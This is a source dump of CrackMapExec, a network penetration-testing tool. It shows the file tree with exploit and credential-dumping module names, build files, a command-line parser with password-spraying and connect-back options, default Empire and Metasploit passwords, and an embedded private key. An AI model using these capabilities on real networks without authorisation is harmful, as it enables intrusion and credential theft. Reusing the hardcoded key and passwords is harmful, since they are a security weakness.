├── .dockerignore
├── .github
├── FUNDING.yml
├── ISSUE_TEMPLATE.md
├── ISSUE_TEMPLATE
│ └── bug_report.md
└── workflows
│ └── crackmapexec.yml
├── .gitignore
├── .gitlab-ci.yml
├── .gitmodules
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── build_collector.py
├── cme
├── .hooks
│ └── hook-lsassy.py
├── __init__.py
├── cli.py
├── cmedb.py
├── connection.py
├── context.py
├── crackmapexec.py
├── data
│ ├── cme.conf
│ ├── cme.ico
│ ├── default.pem
│ └── videos_for_darrell.harambe
├── first_run.py
├── helpers
│ ├── __init__.py
│ ├── bash.py
│ ├── bloodhound.py
│ ├── http.py
│ ├── logger.py
│ ├── misc.py
│ └── powershell.py
├── loaders
│ ├── __init__.py
│ ├── module_loader.py
│ └── protocol_loader.py
├── logger.py
├── modules
│ ├── IOXIDResolver.py
│ ├── MachineAccountQuota.py
│ ├── adcs.py
│ ├── bh_owned.py
│ ├── dfscoerce.py
│ ├── drop_searchConnector-ms.py
│ ├── empire_exec.py
│ ├── enum_avproducts.py
│ ├── enum_dns.py
│ ├── example_module.py
│ ├── get_description.py
│ ├── get_netconnections.py
│ ├── gpp_autologin.py
│ ├── gpp_password.py
│ ├── handlekatz.py
│ ├── hash_spider.py
│ ├── laps.py
│ ├── ldap-checker.py
│ ├── ldap-signing.py
│ ├── lsassy_dump.py
│ ├── met_inject.py
│ ├── ms17-010.py
│ ├── mssql_priv.py
│ ├── nanodump.py
│ ├── nopac.py
│ ├── petitpotam.py
│ ├── procdump.py
│ ├── rdp.py
│ ├── runasppl.py
│ ├── scuffy.py
│ ├── shadowcoerce.py
│ ├── slinky.py
│ ├── spider_plus.py
│ ├── spooler.py
│ ├── subnets.py
│ ├── test_connection.py
│ ├── uac.py
│ ├── user_description.py
│ ├── wdigest.py
│ ├── web_delivery.py
│ ├── webdav.py
│ ├── wireless.py
│ └── zerologon.py
├── parsers
│ ├── __init__.py
│ ├── ip.py
│ ├── nessus.py
│ └── nmap.py
├── protocols
│ ├── __init__.py
│ ├── ldap.py
│ ├── ldap
│ │ ├── __init__.py
│ │ ├── database.py
│ │ ├── db_navigator.py
│ │ ├── kerberos.py
│ │ └── smbldap.py
│ ├── mssql.py
│ ├── mssql
│ │ ├── __init__.py
│ │ ├── database.py
│ │ ├── db_navigator.py
│ │ └── mssqlexec.py
│ ├── rdp.py
│ ├── rdp
│ │ ├── __init__.py
│ │ ├── database.py
│ │ └── db_navigator.py
│ ├── smb.py
│ ├── smb
│ │ ├── __init__.py
│ │ ├── atexec.py
│ │ ├── database.py
│ │ ├── db_navigator.py
│ │ ├── mmcexec.py
│ │ ├── passpol.py
│ │ ├── remotefile.py
│ │ ├── samruser.py
│ │ ├── smbexec.py
│ │ ├── smbspider.py
│ │ └── wmiexec.py
│ ├── ssh.py
│ ├── ssh
│ │ ├── __init__.py
│ │ ├── database.py
│ │ └── db_navigator.py
│ ├── winrm.py
│ └── winrm
│ │ ├── __init__.py
│ │ ├── database.py
│ │ └── db_navigator.py
└── servers
│ ├── __init__.py
│ ├── http.py
│ └── smb.py
├── crackmapexec.spec
├── flake.lock
├── flake.nix
├── poetry.lock
├── pyproject.toml
├── requirements.txt
└── shell.nix
/.dockerignore:
--------------------------------------------------------------------------------
1 | tests
2 | Dockerfile
3 | *.pyc
4 | *.pyo
5 | *.pyd
6 | __pycache__
7 | .vscode
8 | .venv
9 | .github
10 | build
11 | bin
12 | dist
13 | *.egg-info
14 | cme/data/powersploit/Recon/Dictionaries
15 | cme/data/powersploit/Exfiltration/NTFSParser
16 | cme/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources
17 | cme/data/powersploit/Exfiltration/LogonUser
18 | cme/data/powersploit/Tests
19 | cme/data/netripper/DLL
20 | cme/data/netripper/Metasploit
21 | cme/data/netripper/NetRipper
22 | cme/data/netripper/Win32
23 | cme/data/netripper/Release
24 | cme/data/netripper/minhook
25 | cme/data/netripper/x64
26 | cme/data/netripper/*.pdf
27 | cme/data/netripper/*.sln
28 | cme/data/invoke-vnc/winvnc
29 | cme/data/invoke-vnc/vncdll
30 | cme/data/invoke-vnc/pebytes.ps1
31 | cme/data/invoke-vnc/ReflectiveDLLInjection
32 | cme/data/invoke-vnc/*.py
33 | cme/data/invoke-vnc/*.bat
34 | cme/data/invoke-vnc/*.msbuild
35 | cme/data/invoke-vnc/*.sln
36 | cme/data/RID-Hijacking/modules
37 | cme/data/RID-Hijacking/slides
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | custom: https://porchetta.industries/
4 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | ## Steps to reproduce
2 |
3 | 1. ...
4 | 2. ...
5 |
6 | ## Command string used
7 |
8 | ## CME verbose output (using the --verbose flag)
9 |
10 | ## CME Version (cme --version)
11 |
12 | ## OS
13 |
14 | ## Target OS
15 |
16 | ## Detailed issue explanation
17 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Crackmapexec info**
27 | - OS: [e.g. Kali]
28 | - Version of CME [e.g. v5.0.2]
29 | - Installed from apt or using latest release ? Please try with latest release before openning an issue
30 |
31 | **Additional context**
32 | Add any other context about the problem here.
33 |
--------------------------------------------------------------------------------
/.github/workflows/crackmapexec.yml:
--------------------------------------------------------------------------------
1 | name: CrackMapExec Tests & Build
2 |
3 | on:
4 | workflow_dispatch:
5 | branches: [ main ]
6 | push:
7 | branches: [ main ]
8 | pull_request:
9 | branches: [ main ]
10 |
11 | jobs:
12 | build:
13 | name: CrackMapExec Tests on ${{ matrix.os }}
14 | runs-on: ${{ matrix.os }}
15 | strategy:
16 | max-parallel: 4
17 | matrix:
18 | os: [ubuntu-latest, macOS-latest, windows-latest]
19 | python-version: ['3.8', '3.9', '3.10']
20 | steps:
21 | - uses: actions/checkout@v2
22 | with:
23 | submodules: 'recursive'
24 | - name: CrackMapExec tests on ${{ matrix.os }}
25 | uses: actions/setup-python@v1
26 | - name: Install aardwolf on macos
27 | run: |
28 | if [ "$RUNNER_OS" == "macOS" ]; then
29 | pip download --no-binary aardwolf aardwolf
30 | fi
31 | shell: bash
32 | - name: Build binaries with Shiv
33 | run: |
34 | pip install shiv
35 | python build_collector.py
36 | - name: Upload cme binary
37 | uses: actions/upload-artifact@master
38 | with:
39 | name: cme-${{ matrix.os }}-${{ matrix.python-version }}
40 | path: bin/cme
41 | - name: Upload cmedb binary
42 | uses: actions/upload-artifact@master
43 | with:
44 | name: cmedb-${{ matrix.os }}-${{ matrix.python-version }}
45 | path: bin/cmedb
46 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | data/cme.db
2 | *.bak
3 | *.log
4 | .venv
5 | .vscode
6 | # Byte-compiled / optimized / DLL files
7 | __pycache__/
8 | *.py[cod]
9 | bin/
10 |
11 |
12 | # C extensions
13 | *.so
14 |
15 | # Distribution / packaging
16 | .Python
17 | env/
18 | build/
19 | develop-eggs/
20 | dist/
21 | downloads/
22 | eggs/
23 | .eggs/
24 | lib/
25 | lib64/
26 | parts/
27 | sdist/
28 | var/
29 | *.egg-info/
30 | .installed.cfg
31 | *.egg
32 |
33 | # PyInstaller
34 | # Usually these files are written by a python script from a template
35 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
36 | *.manifest
37 | *.spec
38 | !crackmapexec.spec
39 |
40 | # Installer logs
41 | pip-log.txt
42 | pip-delete-this-directory.txt
43 |
44 | # Unit test / coverage reports
45 | htmlcov/
46 | .tox/
47 | .coverage
48 | .coverage.*
49 | .cache
50 | nosetests.xml
51 | coverage.xml
52 | *,cover
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 |
61 | # Sphinx documentation
62 | docs/_build/
63 |
64 | # PyBuilder
65 | target/
66 |
--------------------------------------------------------------------------------
/.gitlab-ci.yml:
--------------------------------------------------------------------------------
1 | stages :
2 | - build
3 |
4 | build_linux :
5 | image: python:3.8-slim
6 | stage: build
7 | before_script:
8 | - apt update
9 | - apt install -y git
10 | - git submodule update --init --recursive
11 | - pip install shiv
12 | script:
13 | - python build_collector.py
14 | artifacts:
15 | untracked: false
16 | expire_in: 30 days
17 | paths: ["./bin/cme", "./bin/cmedb"]
18 |
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/.gitmodules
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.8-slim
2 |
3 | ENV LANG=C.UTF-8
4 | ENV LC_ALL=C.UTF-8
5 | ENV PIP_NO_CACHE_DIR=off
6 |
7 | WORKDIR /usr/src/crackmapexec
8 |
9 | RUN apt-get update && \
10 | apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev libkrb5-dev git
11 |
12 | COPY . .
13 |
14 | RUN pip install .
15 |
16 | ENTRYPOINT [ "cme" ]
17 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2022, byt3bl33d3r, mpgn_x64
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 |
7 | * Redistributions of source code must retain the above copyright notice, this
8 | list of conditions and the following disclaimer.
9 |
10 | * Redistributions in binary form must reproduce the above copyright notice,
11 | this list of conditions and the following disclaimer in the documentation
12 | and/or other materials provided with the distribution.
13 |
14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
24 |
25 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: tests
2 |
3 | default: build
4 |
5 | clean:
6 | rm -f -r build/
7 | rm -f -r bin/
8 | rm -f -r dist/
9 | find . -name '*.pyc' -exec rm -f {} +
10 | find . -name '*.pyo' -exec rm -f {} +
11 | find . -name '*~' -exec rm -f {} +
12 | find . -name '__pycache__' -exec rm -rf {} +
13 | find . -name '.pytest_cache' -exec rm -rf {} +
14 |
15 | tests:
16 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude cme/data/*
17 |
18 | requirements:
19 | poetry export --without-hashes -f requirements.txt -o requirements.txt
20 | poetry export --without-hashes --dev -f requirements.txt -o requirements-dev.txt
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |  [](https://twitter.com/intent/follow?screen_name=byt3bl33d3r) [](https://twitter.com/intent/follow?screen_name=mpgn_x64)
2 |
3 | :triangular_flag_on_post: This is the public repository of CrackMapExec, for latest version and updates please consider supporting us through https://porchetta.industries/
4 |
5 | # CrackMapExec
6 |
7 |
8 |
9 |
10 |
11 |
12 | ## In partnership with
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | ## :triangular_flag_on_post: Sponsors
25 |
26 | If you want to sponsors this project and have the latest updates on CME, latest issues fixed, latest features, please support us on https://porchetta.industries/
27 |
28 | ## Official Discord Channel
29 |
30 | Come hang out on Discord!
31 |
32 | [](https://discord.gg/ycGXUxy)
33 |
34 | # Acknowledgments
35 | **(These are the people who did the hard stuff)**
36 |
37 | This project was originally inspired by:
38 | - [CredCrack](https://github.com/gojhonny/CredCrack)
39 | - [smbexec](https://github.com/pentestgeek/smbexec)
40 | - [smbmap](https://github.com/ShawnDEvans/smbmap)
41 |
42 | Unintentional contributors:
43 |
44 | - The [Empire](https://github.com/PowerShellEmpire/Empire) project
45 | - @T-S-A's [smbspider](https://github.com/T-S-A/smbspider) script
46 | - @ConsciousHacker's partial Python port of Invoke-obfuscation from the [GreatSCT](https://github.com/GreatSCT/GreatSCT) project
47 |
48 | # Documentation, Tutorials, Examples
49 | See the project's [wiki](https://mpgn.gitbook.io/crackmapexec/) for documentation and usage examples
50 |
51 | # Installation
52 | Please see the installation on the [GitBook](https://mpgn.gitbook.io/crackmapexec/)
53 |
54 | # To do
55 | - ~~0wn everything~~
56 |
--------------------------------------------------------------------------------
/build_collector.py:
--------------------------------------------------------------------------------
1 | # -*- coding: latin-1 -*-
2 |
3 | import os
4 | import shutil
5 | import subprocess
6 | import sys
7 | import time
8 | import zipfile
9 | from datetime import datetime
10 | from pathlib import Path
11 |
12 | from shiv.bootstrap import Environment
13 |
14 | # from distutils.ccompiler import new_compiler
15 | from shiv.builder import create_archive
16 | from shiv.cli import __version__ as VERSION
17 |
18 | def build_cme():
19 | print("building CME")
20 | try:
21 | shutil.rmtree("build")
22 | shutil.rmtree("bin")
23 | except:
24 | pass
25 |
26 | try:
27 | print("remove useless files")
28 | os.mkdir("build")
29 | os.mkdir("bin")
30 | shutil.copytree("cme", "build/cme")
31 |
32 | except Exception as e:
33 | print(e)
34 | return
35 |
36 | subprocess.run(
37 | [sys.executable, "-m", "pip", "install", "-r", "requirements.txt" ,"-t", "build"],
38 | check=True
39 | )
40 |
41 | #[shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
42 | [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
43 |
44 | env = Environment(
45 | built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
46 | "%Y-%m-%d %H:%M:%S"
47 | ),
48 | entry_point="cme.crackmapexec:main",
49 | script=None,
50 | compile_pyc=False,
51 | extend_pythonpath=True,
52 | shiv_version=VERSION,
53 | )
54 | create_archive(
55 | [Path("build").absolute()],
56 | Path("bin/cme"),
57 | "/usr/bin/env -S python3 -sE",
58 | "_bootstrap:bootstrap",
59 | env,
60 | True,
61 | )
62 |
63 | def build_cmedb():
64 | print("building CMEDB")
65 | env = Environment(
66 | built_at=datetime.utcfromtimestamp(int(time.time())).strftime(
67 | "%Y-%m-%d %H:%M:%S"
68 | ),
69 | entry_point="cme.cmedb:main",
70 | script=None,
71 | compile_pyc=False,
72 | extend_pythonpath=True,
73 | shiv_version=VERSION,
74 | )
75 | create_archive(
76 | [Path("build").absolute()],
77 | Path("bin/cmedb"),
78 | "/usr/bin/env -S python3 -sE",
79 | "_bootstrap:bootstrap",
80 | env,
81 | True,
82 | )
83 |
84 | if __name__ == "__main__":
85 | try:
86 | build_cme()
87 | build_cmedb()
88 | except:
89 | pass
90 | finally:
91 | shutil.rmtree("build")
92 |
--------------------------------------------------------------------------------
/cme/.hooks/hook-lsassy.py:
--------------------------------------------------------------------------------
1 | # -*- coding:utf-8 -*-
2 |
3 | from PyInstaller.utils.hooks import collect_all
4 | datas, binaries, hiddenimports = collect_all("lsassy")
5 |
--------------------------------------------------------------------------------
/cme/__init__.py:
--------------------------------------------------------------------------------
1 | # import sys
2 | # import os
3 | # import cme
4 |
5 | # thirdparty_modules = os.path.join(os.path.dirname(cme.__file__), 'thirdparty')
6 |
7 | # for module in os.listdir(thirdparty_modules):
8 | # sys.path.insert(0, os.path.join(thirdparty_modules, module))
9 |
--------------------------------------------------------------------------------
/cme/cli.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import sys
3 | from argparse import RawTextHelpFormatter
4 | from cme.loaders.protocol_loader import protocol_loader
5 | from cme.helpers.logger import highlight
6 | from termcolor import colored
7 |
8 | def gen_cli_args():
9 |
10 | VERSION = '5.3.0'
11 | CODENAME = "Operation C01NS"
12 |
13 | p_loader = protocol_loader()
14 | protocols = p_loader.get_protocols()
15 |
16 | parser = argparse.ArgumentParser(description=f"""
17 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
18 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
19 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
20 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
21 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
22 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
23 |
24 | A swiss army knife for pentesting networks
25 | Forged by @byt3bl33d3r and @mpgn_x64 using the powah of dank memes
26 |
27 | {colored("Exclusive release for Porchetta Industries users", "magenta")}
28 | {colored("https://porchetta.industries/", "magenta")}
29 |
30 | {highlight('Version', 'red')} : {highlight(VERSION)}
31 | {highlight('Codename', 'red')}: {highlight(CODENAME)}
32 | """,
33 |
34 | formatter_class=RawTextHelpFormatter)
35 |
36 | parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
37 | parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
38 | parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
39 | parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
40 | parser.add_argument("--verbose", action='store_true', help="enable verbose output")
41 |
42 | subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')
43 |
44 | std_parser = argparse.ArgumentParser(add_help=False)
45 | std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
46 | std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
47 | std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
48 | std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
49 | std_parser.add_argument("-k", "--kerberos", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
50 | std_parser.add_argument("--export", metavar="EXPORT", nargs='+', help="Export result into a file, probably buggy")
51 | std_parser.add_argument("--aesKey", metavar="AESKEY", nargs='+', help="AES key to use for Kerberos Authentication (128 or 256 bits)")
52 | std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
53 |
54 | fail_group = std_parser.add_mutually_exclusive_group()
55 | fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
56 | fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
57 | fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')
58 |
59 | module_parser = argparse.ArgumentParser(add_help=False)
60 | mgroup = module_parser.add_mutually_exclusive_group()
61 | mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use')
62 | #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
63 | module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
64 | module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
65 | module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
66 | module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
67 | module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
68 | module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')
69 | module_parser.add_argument("--connectback-host", type=str, metavar='CHOST', help='IP for the remote system to connect back to (default: same as server-host)')
70 |
71 | for protocol in protocols.keys():
72 | protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
73 | subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
74 |
75 | if len(sys.argv) == 1:
76 | parser.print_help()
77 | sys.exit(1)
78 |
79 | args = parser.parse_args()
80 |
81 | return args
82 |
--------------------------------------------------------------------------------
/cme/context.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | import configparser
4 |
5 | class Context:
6 |
7 | def __init__(self, db, logger, args):
8 | self.db = db
9 | self.log = logger
10 | self.log.debug = logging.debug
11 | self.log_folder_path = os.path.join(os.path.expanduser('~/.cme'), 'logs')
12 | self.localip = None
13 |
14 | self.conf = configparser.ConfigParser()
15 | self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
16 |
17 | for key, value in vars(args).items():
18 | setattr(self, key, value)
19 |
--------------------------------------------------------------------------------
/cme/data/cme.conf:
--------------------------------------------------------------------------------
1 | [CME]
2 | workspace = default
3 | last_used_db = smb
4 | pwn3d_label = Pwn3d!
5 | audit_mode =
6 |
7 | [BloodHound]
8 | bh_enabled = False
9 | bh_uri = 127.0.0.1
10 | bh_port = 7687
11 | bh_user = neo4j
12 | bh_pass = neo4j
13 |
14 | [Empire]
15 | api_host = 127.0.0.1
16 | api_port = 1337
17 | username = empireadmin
18 | password = Password123!
19 |
20 | [Metasploit]
21 | rpc_host = 127.0.0.1
22 | rpc_port = 55552
23 | password = abc123
24 |
25 |
--------------------------------------------------------------------------------
/cme/data/cme.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/data/cme.ico
--------------------------------------------------------------------------------
/cme/data/default.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLRxCDVVXmjcFW
3 | rvuwIZh6ywLNtffsTFQ2QAykUTl6CGzn+rpoz/s/AX7s2/dWkv+pcUULNNeH2Ae9
4 | YNhM7vQqDzKA4Rj1FzVO9LIQot3F32e9SQWk2zJ0dia3uaxrrZTQeLOpISa9g3Q0
5 | nnvflX2KjarZ/OUrxSJA3HRgx0C0N7bmyC/jXSeM8cLQxJjIdNpxeMfSA5koeEEJ
6 | hzaWZLgtJpX5NOxpeJBRfhPSOL3r2t2qUGnzctvHbPZmdyRwIRCAiJNSHZd+CirC
7 | ayplzdaxDZ0rlMcpaeodOTpusBLmAWEP6uQEKrRBgL+AVOo7DpncIbmMQPkSA3La
8 | Slyh+dgRAgMBAAECggEBAJW58l/KK0t2fkHrAVfqZvWLMrVyovpZ/m03IBin+z33
9 | lsAH3eX1y4nNAEBWhQgvnkCgPcrTUS2t4YWMH8YK+60/JGPpaQid35YYhk/app9o
10 | vnCdqJqVGcTOghYxnN5zLHmhbjPVR0Ov35giY/t7kMzNLFsD+4kR2vkLaG0gVnhm
11 | gAZ0M7bN35LQT0Wk1SFjVPLwdsPb/Jvxo7ly7wVv7Y2D1vNCYoBQGoFL7/noGene
12 | mMQ+OVawP58KqoYn/WRLI9zmTWzohXvYJYvm+SiXultB4aBGgp4saYjD8gwSOBml
13 | wbz2LyRCcDVi46yDcy7iSLmMr6c4ZdkUpxRvtPJI5wECgYEA+AgBrSdOoU+pzPas
14 | HlrprQEn5XHn990wfJj5N77MtpJu7Gmf/0tWGQQ3wohmu8dfNZrE8ZsEupRUVIYh
15 | 5mLOWMmujkjNpp6A5LzZcp3hnLklORoUirZka66QgC9RSYv08PlPLy7ru+aHYsg1
16 | uPZNcf+KgpQoCg10LFrXaCh8GlUCgYEA0c74b1Rxg2+Dr3pGfvoZcQhtg1FUOWR9
17 | poNFkkV7vAnzoR9xLDvRtsOcGL7fu/WDtBg/XsddzfaKtU2cE05cF888OV+TYs6U
18 | Cturp+pz+Yyslh6x3AgygnpMGJp6rk5D9LLHmIWPpCPjbBSofEQL9IxKoQOYOlvm
19 | 7VrBu7Kbus0CgYAD6NRl702s+z147pZt8A7o3DDNzArU/FaMUDj1aPt/ETXQYiXU
20 | d1KHGGrslQvRf+X/SU47ZK8hZb8iie602+/WtG8c7QbYznzHnjZrORPaTYzJpqCW
21 | QyO4EstSSeylFSCqP7PA0aODlbGim/dE0BUOa/G59y3eYrHnFRN6H9E89QKBgHHK
22 | +JGhUiPAYsLU5dFOomfc81Cq1qx+JWwffKdVykN1fk7gN8iO9TJUK6B8Peq6wWD3
23 | Wb91EBp6YkbtPf52nJpJStevT8fiVQcCl7pt/dLWinCtWzgEtihwXj9l4a4SQuc/
24 | 4+OEZSDYWiuvlKY5XeaYBI4J3hGg8MHBXJwJxk7tAoGBALBrop1vJVxZt4+Eb9gv
25 | cc5ZRtDi79MXPePDinhRivVi/48LsYoFXRtodjcAMWqAyH7n17Kxkvl1rRsaNAq/
26 | H4F0kXuTXReV3LtZmZTLXmju2spGz3e3yKqgB+7dWUauqK44WaO1rYz32hTxLxil
27 | kN8k77KmfNkqz+9WY6S4CqIh
28 | -----END PRIVATE KEY-----
29 | -----BEGIN CERTIFICATE-----
30 | MIIC+zCCAeOgAwIBAgIUPjiFj6PH8T2dFrcwoqL7bHkXKfQwDQYJKoZIhvcNAQEL
31 | BQAwDTELMAkGA1UEBhMCVVMwHhcNMjAwNTEwMTAyMzA5WhcNMjEwNTEwMTAyMzA5
32 | WjANMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
33 | AMtHEINVVeaNwVau+7AhmHrLAs219+xMVDZADKRROXoIbOf6umjP+z8Bfuzb91aS
34 | /6lxRQs014fYB71g2Ezu9CoPMoDhGPUXNU70shCi3cXfZ71JBaTbMnR2Jre5rGut
35 | lNB4s6khJr2DdDSee9+VfYqNqtn85SvFIkDcdGDHQLQ3tubIL+NdJ4zxwtDEmMh0
36 | 2nF4x9IDmSh4QQmHNpZkuC0mlfk07Gl4kFF+E9I4veva3apQafNy28ds9mZ3JHAh
37 | EICIk1Idl34KKsJrKmXN1rENnSuUxylp6h05Om6wEuYBYQ/q5AQqtEGAv4BU6jsO
38 | mdwhuYxA+RIDctpKXKH52BECAwEAAaNTMFEwHQYDVR0OBBYEFO+GlEFEBLb5Rv8x
39 | bx/bsBBNgwSxMB8GA1UdIwQYMBaAFO+GlEFEBLb5Rv8xbx/bsBBNgwSxMA8GA1Ud
40 | EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAHU17UUlL2rl+xLdBDRqcVBb
41 | DUWwvmkBL22G05LcIIjlA7YeeKHBA0D6ppulTZ+HWZ2mo2n10bIso+SryytGrU0g
42 | p9Rt+mUDiWOQJWi0W6VAhK72wsJG5DnRdf5yXjbsY065iA4Q5UfhQd7TsR3q4EkD
43 | 5ziOrKiuB5T3PR48aE/Cpg0aTGpx05OEVG6un1xwUpT6d6j5qP2IELaCG446ZZIO
44 | 0BrvUoOTwYCV6UhhV1F3xirVFpUwTtp8Ms/fst4vSX9/6PgyBd09icB+O8t9LhXG
45 | b6FMHKpKOOkRQztqJR3ipMlW6Ceslwqs5CBRowbySi3C4kpEplM6hbVTelzwP6U=
46 | -----END CERTIFICATE-----
47 |
--------------------------------------------------------------------------------
/cme/data/videos_for_darrell.harambe:
--------------------------------------------------------------------------------
1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ
2 | https://www.youtube.com/watch?v=l12Csc_lW0Q
3 | https://www.youtube.com/watch?v=wBqM2ytqHY4
4 | https://www.youtube.com/watch?v=N1zL13LvxS8
5 | https://imgur.com/gallery/s1hLouN
6 | https://www.youtube.com/watch?v=Tay791Nprx0
7 | https://www.youtube.com/watch?v=rOGbMwXnlQM
8 | https://www.youtube.com/watch?v=mv8mV5X0MR8
9 | https://www.youtube.com/watch?v=nH2gUPTFCfo
10 | https://www.youtube.com/watch?v=zzfQwXEqYaI
11 | https://www.youtube.com/watch?v=yuwprXAaSv0
12 | https://i.imgur.com/aTr6Afr.gifv
13 | https://www.youtube.com/watch?v=SZoiJM1vlfc
14 | https://www.youtube.com/watch?v=IvDeXaiBy3I
15 | https://www.youtube.com/watch?v=G0cqV3h-aDA
16 | https://www.youtube.com/watch?v=q6yHoSvrTss
17 | https://www.youtube.com/watch?v=jnHFYTjk4MQ
18 | https://www.youtube.com/watch?v=tVj0ZTS4WF4
19 | https://www.youtube.com/watch?v=q6EoRBvdVPQ
20 | https://www.youtube.com/watch?v=Sagg08DrO5U
21 | https://www.youtube.com/watch?v=z9Uz1icjwrM
